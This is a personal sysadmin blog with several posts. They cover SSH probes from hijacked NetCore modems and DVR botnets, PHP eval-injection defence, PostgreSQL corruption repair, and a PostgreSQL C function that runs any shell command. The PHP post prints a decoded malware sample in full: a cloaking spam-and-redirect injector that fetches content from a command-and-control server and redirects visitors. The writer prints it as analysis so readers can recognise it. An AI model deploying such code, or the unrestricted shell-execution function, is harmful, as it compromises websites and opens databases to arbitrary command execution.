Sunday, January 25, 2015

CyberSecurity - Chinese NetCore Modems are hacked and being used as BOTS

The following messages repeatedly shown in our logs.

Jan 25 20:23:15 stserver sshd[1333]: Did not receive identification string from 113.73.9.186
Jan 25 20:23:15 stserver sshd[1332]: Did not receive identification string from 113.73.9.186
Jan 25 19:47:41 stserver sshd[1004]: Did not receive identification string from 58.143.4.46
Jan 25 19:47:41 stserver sshd[1003]: Did not receive identification string from 58.143.4.46
Jan 25 19:38:36 stserver sshd[840]: Did not receive identification string from 115.194.127.55
Jan 25 19:38:32 stserver sshd[838]: Did not receive identification string from 115.194.127.55
Jan 25 19:38:20 stserver sshd[836]: Did not receive identification string from 114.40.114.171
Jan 25 19:38:20 stserver sshd[835]: Did not receive identification string from 114.40.114.171
Jan 25 19:34:45 stserver sshd[783]: Did not receive identification string from 116.116.155.39
Jan 25 19:34:45 stserver sshd[782]: Did not receive identification string from 116.116.155.39
Jan 25 19:30:24 stserver sshd[721]: Did not receive identification string from 182.123.100.16
Jan 25 19:30:24 stserver sshd[720]: Did not receive identification string from 182.123.100.16


These IPs are traced back.
Port Status of IP 113.73.9.186 is as follows
PORT     STATE    SERVICE
53/tcp   open     domain
80/tcp   filtered http
445/tcp  filtered microsoft-ds
4444/tcp filtered krb524
8080/tcp filtered http-proxy
9000/tcp filtered cslistener
9500/tcp open     unknown


Almost same status for all the IPs.

Port 9500 is the only open port. Telnet service is listening in that port and accepts login without user name and password .

Running processes in the Modem are

  PID  Uid     VmSize Stat Command
    1 0           312 S   init      
    2 0               SW< [kthreadd]
    3 0               SW< [ksoftirqd/0]
    4 0               SW< [events/0]
    5 0               SW< [khelper]
    6 0               SW< [kblockd/0]
    7 0               SW  [pdflush]
    8 0               SW  [pdflush]
    9 0               SW< [kswapd0]
   10 0               SW< [aio/0]
   12 0               SW< [mtdblockd]
   56 0          1712 S   /bin/switch -d
  120 0           240 S   /bin/igdmptd -d
  122 0           192 S   init      
  132 0           260 S   /bin/eapd
  135 0           440 S   /bin/nas
  146 0           552 S   /sbin/dhcpd -cf /var/cfg/dhcpd.conf br0
  156 0           356 S   udhcpc -f -S -M -i vlan2
  323 0           352 S   sh -c  busybox telnetd -p 9500
  324 0           276 S   busybox telnetd -p 9500
  345 0           104 S   /tmp/eash 173.208.222.82 /tmp/
  402 0           628 S   /tmp/eash 173.208.222.82 /tmp/
 1913 0           316 S   miniupnpd -t 600 -i br0 -a 192.168.1.1
 2011 0           388 S   /bin/sh
 2020 0           352 S   /bin/boa -p web -f /var/boa.conf
 2021 0           516 S   dnsmasq -E -i br0 --pid-file=/var/tmp/dnsmasq.pid
 2027 0           296 R   ps -ef 


The process /tmp/eash is Enterprise Admin Shell, which logs the shell commands to the  remote server at IP 173.208.222.82. which belongs to wholesalenetwork.net located in Kansas City in US.




Wednesday, January 14, 2015

CyberSecurity : DVRs (Digital Video Recorders) are used as BOTs

For surveillance, Video Cameras are used with DVRs for recording the video footage for later viewing. These devices are connected to Internet for viewing the live/recorded videos from remote locations.

From our recent analysis it is found that, these devices are used as BOTs.  These devices continuously scan the hosts in the Network. If any open ports are found then penetration starts from another BOT.

When we monitored the repeated unauthorized access attempts to our servers and traced back the IPs, 70% of ip addresses are assigned to DVRs, and others are to ADSL modems may be from the PCS behind the ADSL NAT.

Some of these devices belongs to innocent user and are unprotected (ie) with default user name/password and exposed to Internet. Hackers can easily take control of these devices and use them as BOT to mount attack on their preferred targets.

Most of the devices are well protected to prevent incoming connection from Internet. Even then, attack originates from them leaving a strong suspicion, that the firmware of these devices are exploited to use them as BOT.

Communication devices need a thorough verification of Firmware. The Communication Hardware and Software have to separated. Some Open Standards are needed for the firmware of communication equipment.

Friday, January 09, 2015

To prevent hacking from PHP eval injection, Guard the file upload destination directories and disable potentially harmful PHP functions.

One of the common hacking techniques, is to use PHP code injection to an unguarded upload destination directory.

Web site users may have facility to upload contents like Images, Videos, Documents, Spread Sheets etc to the Web Server.

It is very important not to allow execution of scripts in these directories. Appropriate directives in Apache configuration or .htaccess file will prevent script execution.

Shared hosting servers are enforcing this by default.

If these directories are not guarded from Script Execution, hackers exploit this loop hole and will upload a malicious PHP content. The code may contain any arbitrary commands.

However these commands can be executed only within the context of the user running the web server.

If the web server is running with minimum privileges, these hacks can only affect the web sites and related data.

Once a web site is compromised, it can be used for any/all of the following activities.
1) Altering the contents of the web site and posting some unwanted content to deface the web site.
2) Using the web site as a proxy for attacking other servers.
3) Building an organised cluster to carry out coordinated DDOS attacks.
4) Hosting illegal contents without the knowledge of the web site owner.


To View the malicious script:

Those malicious scripts are normally encoded and compressed to prevent from viewing the code.  The script are decoded and decompressed on the fly and the executed by php eval function.

Those scripts start with 'php' tag followed by 'eval' function, then 'gzinflate'(decompression) function, and then base64_decode function, as shown below.

"<?php eval(gzinflate(base64_decode('pRlrc9o69nN2Z..."

so that exact code is not readable.

A simple tweak will show the code.  To view such code, just remove 'eval' function and use 'echo' command to display the content, like
"<?php echo gzinflate(base64_decode('pRlrc9o69nN2Z ...".

Don't forget to remove the closing parenthesis of eval function,

In command prompt just run
php <tweaked-scriptfile> 

PHP will decode, decompress and display the actual php snippet in readable format.

The following php snippet is the complete code from one such extraction after the tweak:

if (!defined('frmDs')){
define('frmDs' ,1);
error_reporting(0);

function frm_dl ($url) {
if (function_exists('curl_init')) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$out = curl_exec ($ch);
if (curl_errno($ch) !== 0) $out = false;
curl_close ($ch);
} else {$out = @file_get_contents($url);}
return trim($out);
}

function frm_crpt($in){
$il=strlen($in);$o='';
for ($i = 0; $i < $il; $i++) $o.=$in[$i] ^ '*';
return $o;
}

function frm_getcache($tmpdir,$link,$cmtime,$toe=false){
$f = $tmpdir.'/sess_'.md5(preg_replace('/^http:\/\/[^\/]+/', '', $link));
$fe = file_exists($f);
if(!$fe || time() - filemtime($f) > 60 * $cmtime)
{
$dlc=frm_dl($link);
if($fe && $dlc===false) 
@touch($f);
else
{
if($fe && empty($dlc) && $toe) 
{
@touch($f);
}
else
{
if($fp = @fopen($f,'w')){fwrite($fp, frm_crpt($dlc)); fclose($fp);}
else{return $dlc;}
}
}
}
$fc = @file_get_contents($f);
return ($fc)?frm_crpt($fc):'';
}

function frm_isbot(){
$ua=@strtolower($_SERVER['HTTP_USER_AGENT']);
if(($lip=ip2long($_SERVER['REMOTE_ADDR']))<0)$lip+=4294967296; 
$rs = array(array(3639549953,3639558142),array(1089052673,1089060862),array(1123635201,1123639294),array(1208926209,1208942590),
array(3512041473,3512074238),array(1113980929,1113985022),array(1249705985,1249771518),array(1074921473,1074925566),
array(3481178113,3481182206),array(2915172353,2915237886),array(2850291712,2850357247));
foreach ($rs as $r) if($lip>=$r[0] && $lip<=$r[1]) return true;
if(!$ua)return true;
$bots = array('googlebot','bingbot','slurp','msnbot','jeeves','teoma','crawler','spider');
foreach ($bots as $b) if(strpos($ua, $b)!==false) return true;
$h=@gethostbyaddr($_SERVER['REMOTE_ADDR']);
$hba=array('google','msn','yahoo');
if($h) foreach ($hba as $hb) if(strpos($h, $hb)!==false) return true;
return false;
}

function frm_tmpdir(){
$fs = array('/tmp','/var/tmp','./wp-content/cache','./wp-content/uploads','./tmp','./cache','./images');
        foreach (array('TMP', 'TEMP', 'TMPDIR') as $v) {
            if ($t = getenv($v)) {$fs[]=$t;}
        }
        if (function_exists('sys_get_temp_dir')) {$fs[]=sys_get_temp_dir();}
        $fs[]='.';
        
        foreach ($fs as $f){
        $tf = $f.'/'.md5(rand());
        if($fp = @fopen($tf, 'w')){
        fclose($fp);
        unlink($tf);
        return $f;
        }
        }
return false;
}

function frm_seref(){
$r = @strtolower($_SERVER["HTTP_REFERER"]);
$ses = array('google','bing','yahoo','ask','aol');
foreach ($ses as $se) if(strpos($r, $se.'.')!=false) return true;
return false;
}

function frm_havekey($s=false){
$nks = explode('|','abilify|albenza|aldactone|amoxil|antabuse|apcalis|atarax|baclofen|bactrim|bimatoprost|buspar|celebrex|celexa|cialis|cipro|clomid|desyrel|diflucan|doxycycline|elavil|erectalis|eriacta|erythromycin|finpecia|flagyl|glucophage|inderal|kamagra|lasix|levaquin|levitra|lexapro|megalis|mobic|motilium|nexium|nolvadex|orlistat|paxil|penisole|periactin|premarin|priligy|propecia|proscar|proventil|retin-a|robaxin|seroquel|silagra|sildalis|silvitra|strattera|stromectol|p-force|synthroid|tadacip|tadalis|tadapox|tenormin|tetracycline|topamax|valtrex|ventolin|viagra|vigora|wellbutrin|zanaflex|zenegra|zithromax|sildenafil|tadalafil|vardenafil|zovirax');
$k = ($s==false)?@strtolower($_SERVER["HTTP_REFERER"].$_SERVER["REQUEST_URI"]):$s;
if (strpos($k,"site%3A")!==false||strpos($k,"inurl%3A")!==false) return '';
foreach ($nks as $n)if(preg_match("/(\b|_)$n(\b|_)/" , $k)) return $n;
return '';
}

function frm_strtonum($Str, $Check, $Magic) {
$Int32Unit = 4294967296;
$length = strlen($Str);
for ($i = 0; $i < $length; $i++) {
$Check *= $Magic;
if ($Check >= $Int32Unit) {
$Check = ($Check - $Int32Unit * (int) ($Check / $Int32Unit));
$Check = ($Check < -2147483648) ? ($Check + $Int32Unit) : $Check;
}
$Check += ord($Str{$i});
}
return $Check;
}

function frm_chhash($String) {
$Check1 =frm_strtonum($String, 0x1505, 0x21);
$Check2 = frm_strtonum($String, 0, 0x1003F);
$Check1 >>= 2;
$Check1 = (($Check1 >> 4) & 0x3FFFFC0 ) | ($Check1 & 0x3F);
$Check1 = (($Check1 >> 4) & 0x3FFC00 ) | ($Check1 & 0x3FF);
$Check1 = (($Check1 >> 4) & 0x3C000 ) | ($Check1 & 0x3FFF);
$T1 = (((($Check1 & 0x3C0) << 4) | ($Check1 & 0x3C)) <<2 ) | ($Check2 & 0xF0F );
$T2 = (((($Check1 & 0xFFFFC000) << 4) | ($Check1 & 0x3C00)) << 0xA) | ($Check2 & 0xF0F0000 );
$Hashnum = ($T1 | $T2);
$CheckByte = 0;
$Flag = 0;
$HashStr = sprintf('%u', $Hashnum) ;
$length = strlen($HashStr);
for ($i = $length - 1;  $i >= 0;  $i --) {
$Re = $HashStr{$i};
if (1 === ($Flag % 2)) {
$Re += $Re;
$Re = (int)($Re / 10) + ($Re % 10);
}
$CheckByte += $Re;
$Flag ++;
}
$CheckByte %= 10;
if (0 !== $CheckByte) {
$CheckByte = 10 - $CheckByte;
if (1 === ($Flag % 2) ) {
if (1 === ($CheckByte % 2)) {
$CheckByte += 9;
}
$CheckByte >>= 1;
}
}
return '7'.$CheckByte.$HashStr;
}

function frm_chpr($url,$td){
$ch=frm_chhash($url);
$res=frm_getcache($td,"http://toolbarqueries.google.com/tbr?client=navclient-auto&features=Rank&ch=$ch&q=info:$url",60*24*7);
if(($pos = strpos($res, "Rank_"))!==false) return substr($res,9,1);
}

function frm_red($k){
if(!frm_isbot() && frm_seref()){
$r=@urlencode($_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);
$s=@urlencode($_SERVER['HTTP_REFERER']);
die("<!DOCTYPE html><html><body><script>document.location=(\"http://178.73.212.30/stat/go.php?k=$k&s=$s&r=$r\");</script></body></html>");
}
}

$tdir = frm_tmpdir();
$isb=frm_isbot();
$k=frm_havekey();
$host = preg_replace('/^w{3}\./','', strtolower($_SERVER['HTTP_HOST']));
if($cv=@$_POST[md5($host.'ch')]){exit($cv);}
if($tdir && strlen($host)<100 && !preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/', $host)){
$parg = substr(preg_replace( '/[^a-z]+/', '',strtolower(base64_encode(md5($host.'p1')))),0,3);
$sp = "http://bpiiflhbw.ontheweb.nu/stat/feed.php?pa=$parg&h=$host";
//
$tp=$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
if($isb && ($ppr = frm_chpr($tp)) > 1){
$pc=frm_getcache($tdir, $sp."&a=l&p=".urlencode($tp)."&pr=$ppr",60*24);
if($pc) die($pc);
}
//
$ruri = strtolower($_SERVER['REQUEST_URI']);
$pageid = (isset($_GET[$parg]))?$_GET[$parg]*1:0;
if((strpos($ruri,'/?')===0||strpos($ruri,'/index.php?')===0) && $pageid > 0){
frm_red($k);
die(frm_getcache($tdir, $sp."&p=$pageid",60*24,true));
}
if (($ruri=='/' || $ruri=='/index.php') && $isb) {
$c=frm_getcache($tdir, $sp ,60*24);
if($c)die($c);
}
//
if($k && $sdl = frm_getcache($tdir, $sp."&a=s", ($isb ? 30 : 60*24*7) ,true)){
if(strpos($sdl, '|'.$ruri.'|') !== false){
frm_red($k);
die(frm_getcache($tdir, $sp."&a=s&p=".urlencode($ruri),60*24*7,true));
}
}
}
if($k) frm_red($k);
}

The above snippet is extracted from a malicious code on 9th Jan 2015.

The URLs and numerical IP addresses, in the above snippet demonstrates the real story.

The link "http://bpiiflhbw.ontheweb.nu/stat/feed.php?pa=$parg&h=$host" is the URL of the direct command and control server.

From the continuous analysis during last few years, it is learnt that such attacks are directed from one country through the compromised computers located in some other countries.


Sunday, October 13, 2013


POSTGRESQL 9.1.9 Database Recovery.

Errors thrown in postgresql log file.
2013-09-04 14:06:36 IST 14922 [local] ERROR:  missing chunk number 0 for toast value 76775 in pg_toast_1255
2013-09-04 14:05:07 IST 14922 [local] ERROR:  missing chunk number 0 for toast value 76775 in pg_toast_1255
2013-09-04 14:03:59 IST 17909 [local] ERROR:  missing chunk number 0 for toast value 76775 in pg_toast_1255
2013-09-04 13:54:18 IST 17847 59.99.224.120 ERROR:  missing chunk number 1 for toast value 100134 in pg_toast_2618
2013-09-04 13:50:36 IST 17847 59.99.224.120 ERROR:  missing chunk number 0 for toast value 76775 in pg_toast_1255
2013-09-04 13:48:30 IST 17909 [local] ERROR:  missing chunk number 0 for toast value 76775 in pg_toast_1255
2013-09-04 13:41:35 IST 17847 59.99.224.120 ERROR:  missing chunk number 0 for toast value 76775 in pg_toast_1255
2013-09-04 13:29:40 IST 14942 59.99.224.120 ERROR:  missing chunk number 0 for toast value 87623 in pg_toast_2618
...
2013-09-04 11:31:00 IST 12499 127.0.0.1 ERROR:  missing chunk number 0 for toast value 96044 in pg_toast_2619
2013-09-04 11:30:55 IST 12481 127.0.0.1 ERROR:  missing chunk number 0 for toast value 96044 in pg_toast_2619
2013-09-04 11:30:55 IST 12479 127.0.0.1 ERROR:  missing chunk number 0 for toast value 96044 in pg_toast_2619
2013-09-04 11:30:28 IST 12392 127.0.0.1 ERROR:  missing chunk number 0 for toast value 96044 in pg_toast_2619
...
2013-09-04 00:32:57 IST 15985 [local] DETAIL:  Could not open file "pg_clog/0005": No such file or directory.
2013-09-04 00:32:08 IST 15961 [local] DETAIL:  Could not open file "pg_clog/0004": No such file or directory.
2013-09-04 00:21:59 IST 15833 [local] DETAIL:  Could not open file "pg_clog/0000": No such file or directory.
2013-09-04 00:17:25 IST 15698 [local] DETAIL:  Could not open file "pg_clog/0000": No such file or directory.
2013-09-04 00:11:59 IST 15673 [local] DETAIL:  Could not open file "pg_clog/0031": No such file or directory.
2013-09-04 00:11:20 IST 15664 [local] DETAIL:  Could not open file "pg_clog/0027": No such file or directory.
2013-09-04 00:10:47 IST 15650 [local] DETAIL:  Could not open file "pg_clog/0026": No such file or directory.
2013-09-04 00:10:03 IST 15631 [local] DETAIL:  Could not open file "pg_clog/002B": No such file or directory.
2013-09-04 00:09:32 IST 15624 [local] DETAIL:  Could not open file "pg_clog/0025": No such file or directory.
2013-09-04 00:08:55 IST 15592 [local] DETAIL:  Could not open file "pg_clog/0029": No such file or directory.
2013-09-04 00:08:19 IST 15586 [local] DETAIL:  Could not open file "pg_clog/0035": No such file or directory.
2013-09-04 00:07:44 IST 15579 [local] DETAIL:  Could not open file "pg_clog/002C": No such file or directory.
2013-09-04 00:05:42 IST 15243 [local] DETAIL:  Could not open file "pg_clog/002A": No such file or directory.
2013-09-04 00:03:21 IST 15129 [local] DETAIL:  Could not open file "pg_clog/002A": No such file or directory.
2013-09-04 00:01:28 IST 15005 [local] DETAIL:  Could not open file "pg_clog/0022": No such file or directory.
...
2013-09-03 23:17:06 IST 13266 117.213.89.49 ERROR:  missing chunk number 0 for toast value 105498 in pg_toast_2619
2013-09-03 23:17:06 IST 13266 117.213.89.49 ERROR:  missing chunk number 0 for toast value 105498 in pg_toast_2619
2013-09-03 23:17:06 IST 13266 117.213.89.49 ERROR:  missing chunk number 0 for toast value 105498 in pg_toast_2619
2013-09-03 23:17:06 IST 13266 117.213.89.49 ERROR:  missing chunk number 0 for toast value 105498 in pg_toast_2619
2013-09-03 23:17:06 IST 13266 117.213.89.49 ERROR:  missing chunk number 0 for toast value 105498 in pg_toast_2619
2013-09-03 23:17:05 IST 13266 117.213.89.49 ERROR:  missing chunk number 0 for toast value 105498 in pg_toast_2619
2013-09-03 23:17:05 IST 13266 117.213.89.49 ERROR:  missing chunk number 0 for toast value 105498 in pg_toast_2619
2013-09-03 23:17:05 IST 13266 117.213.89.49 ERROR:  missing chunk number 0 for toast value 105498 in pg_toast_2619
...
2013-09-03 17:44:53 IST 2456 192.168.1.112 DETAIL:  Could not open file "pg_clog/0039": No such file or directory.
2013-09-03 17:44:53 IST 2456 192.168.1.112 DETAIL:  Could not open file "pg_clog/0039": No such file or directory.

The errors were very complicated and the data in the database(~10GB) were very critical.
Following steps cleared the errors and the DB was restored.

1) TO FIX missing pg_clog/XXXX files.

Used the following commands to create empty logfiles in pg_clog directory.

#dd if=/dev/zero of=<filename> bs=256k count=1
#chown postgres.postgres <filename>
#chmod 600 <filename>

Around 20 files were created.

2) TO FIX "missing chunk number 0 for toast value XXXXX in pg_toast_2619"

   Used the following command to find table name which is corrupted.
 
   courier=#select relname from pg_class where reltoastrelid='pg_toast.pg_toast_2619'::regclass;
 
   It was 'pg_statistic' table which got corrupted.
 
   AS pg_statistic is only a statistic file, deleted all rows in the table.
 
   courier=#DELETE FROM pg_statistic;
 
   *** Note: DB has to create fresh statistic records. Perfromance of initial queries may be slow.
 
 
3) TO FIX "missing chunk number 0 for toast value 87623 in pg_toast_2618"

   Used the following command to find table name which got corrupted.

   courier=#select relname from pg_class where reltoastrelid='pg_toast.pg_toast_2618'::regclass;
 
   It was 'pg_rewrite' table which got corrupted.
 
   pg_rewrite has rules for views and tables.
 
   To find out the corrupted rows, used the following command
 
   courier=#SELECT * FROM pg_rewrite limit 1 offset 27;
 
   Found rules missing for views.

    1. weight_mismatch_view.
    2. sync_log_baseview.
    3. sync_log_view.
    4. fen_deliveries.
    5. fen_delivery.

 
   These views have column 'relhasrules' in pg_class set to TRUE.
 
   Changed the relhasrules value to FALSE,
   Deleted the views and
   Recreated views from schema definitions in backup.
 
   courier=#UPDATE pg_class SET relhasrules=false where oid=69526;
   courier=#DROP VIEW sync_log_view;
   courier=#CREATE VIEW ................;
 
 
3) TO FIX "missing chunk number 0 for toast value 76775 in pg_toast_1255"

   Used the following command to find table name which got corrupted.
 
   courier=#select relname from pg_class where reltoastrelid='pg_toast.pg_toast_1255'::regclass;
 
   It was 'pg_proc' table which stores the procedures and functions.
 
   To find out the corrupted row, used the following command.
 
   courier=#select proname,prosrc FROM pg_proc order by proname limit 1 offset 562;
 
   Function delivery_update was corrupted. Especially column 'prosrc' procedure source node got corrupted.
 
   Set the prosrc to NULL,
   Droped the function and
   Recreated the function from schema backup.
 
   courier=#UPDATE pg_proc SET prosrc=NULL where proname='delivery_update';
   courier=#DROP FUNCTION delivery_update(date);
   courier=#CREATE OR REPLACE FUNCTION delivery_update(date) ............................;
 
4) Restarted DB. Everything went smooth.



Thursday, April 12, 2012

Internet Connection through Idea NetSetter(Huawei E620) from Ubuntu 11.04

Internet connection through USB sticks works out of box in Ubuntu with usb-modeswitch. But Idea NetSetter - Huawei E620, requires a tweak.

1) gedit /lib/udev/rules.d/40-usb_modeswitch.rules file. 
2) Add -H switch (Huawei Mode) in the line under Huawei E169, which will be as follows after the change.
ATTRS{idVendor}=="12d1", ATTRS{idProduct}=="1001", RUN+="usb_modeswitch -H '%b/%k'"

Save the file and restart udev service.

In the Mobile Broadband Configuration Change the Number in the Basic section to #99***1#.

Now, the internet connection can be established through Idea NetSetter (Huawei E620) from Ubuntu 11.04.

Thursday, March 29, 2012

How to block admagnet.net advertisements?


When we view the railway related information in http://www.indianrailway.gov.in web site, there will be flood of advertisements from *.admagnet.net. This happens even when the pop-ups are blocked and javascript is disabled in the Chrome preferences.

These advertisements are embedded as flash files just before the body tag. We do not know whether Indian Railway is purposely doing it OR these advertisement lines are inserted on the fly in the en-route. However these advertisements are irritating.

To prevent such ads, just block the plugins(in this case 'Flash') from this web site.

This procedure is Google Chrome specific.

1) Select Settings->preferences.
2) Choose 'Under the hood', then 'Content Settings'.
3) Click Manage Exceptions under 'Plug-ins'.
4) Enter admagnet.net and choose 'Block'. Press Enter to add.


This disables the Flash advertisements.

Also prevent JavaScript from admagnet.net.

That's it, the ads will be blocked in the http://www.indianrailway.gov.in web site. Enjoy browsing Indian Railway Website without irritating ads.

Wednesday, December 14, 2011

PostgreSQL 'C' Function to execute shell command

How to run a shell command from a PostgreSQL function?

A typical example is to send sms through 'gnokii' with AT drivers.

1) Install gnokii with the following command
sudo apt-get install gnokii


2) Gnokii config shall be in /etc/gnokiirc with appropriate contents. I have used the following for Nokia 6681 connected to server by USB cable. Most of the mobiles will work with this configuration.
[global]

port = /dev/ttyACM0
model = AT
connection = serial


3) For compiling the PostgreSQL 'C' function, install the server development package by issuing the command
sudo apt-get install postgresql-server-dev-8.4


4) Create a shell script to Send SMS through gnokii, make it executable and place it in the common PATH preferably in /usr/local/bin/
  Contents of send_sms.sh:
#!/bin/bash

echo $2 | /usr/bin/gnokii --config /etc/gnokiirc --sendsms $1

if [ $? -eq 0 ]  # Test exit status of "gnokii" command.
then
  exit 0
else  
  exit -1
fi

5) Create a PostgreSQL C function to execute any shell command:
   Contents of exec_shell_command.c

/* POSTGRESQL C Function to execute shell command */
#include <string.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

/* by value */

PG_FUNCTION_INFO_V1(exec_shell_command);

Datum
exec_shell_command(PG_FUNCTION_ARGS)
{
    text *p1 = PG_GETARG_TEXT_P(0); 
    char *command = VARDATA(p1);
    int retVal = system(command);
    PG_RETURN_INT32(retVal);
}

6) Compile the above c file to generate object code.
gcc -c -fpic -I/usr/include/postgresql/8.4/server exec_shell_command.c -o exec_shell_command.o
The above code is a single line command.

7) Generate shared library from the object code generated in step 6.
gcc -shared -o exec_shell_command.so exec_shell_command.o 
The above code is a single line command.

8) Copy the shared object to PostgreSQL library path.
sudo cp -f exec_shell_command.so /usr/lib/postgresql/8.4/lib/

The above code is a single line command.

9) Add the user 'postgres' to the group 'dialout' to get permission to access USB serialport
sudo usermod  --groups dialout --append postgres

10) Create a function in Postgresql to use the 'C' function just we have created.

CREATE OR REPLACE FUNCTION exec_shell_command(text)
  RETURNS integer AS
'$libdir/exec_shell_command.so', 'exec_shell_command'
  LANGUAGE c STRICT;

Test the function by running the following command in PostgreSQL shell.
SELECT exec_shell_command('send_sms.sh 9894835581 "Hello Rampro, How are you?"');

OR Any other shell command.

That's it.  This function can be called from any procedure to execute any arbitrary shell command.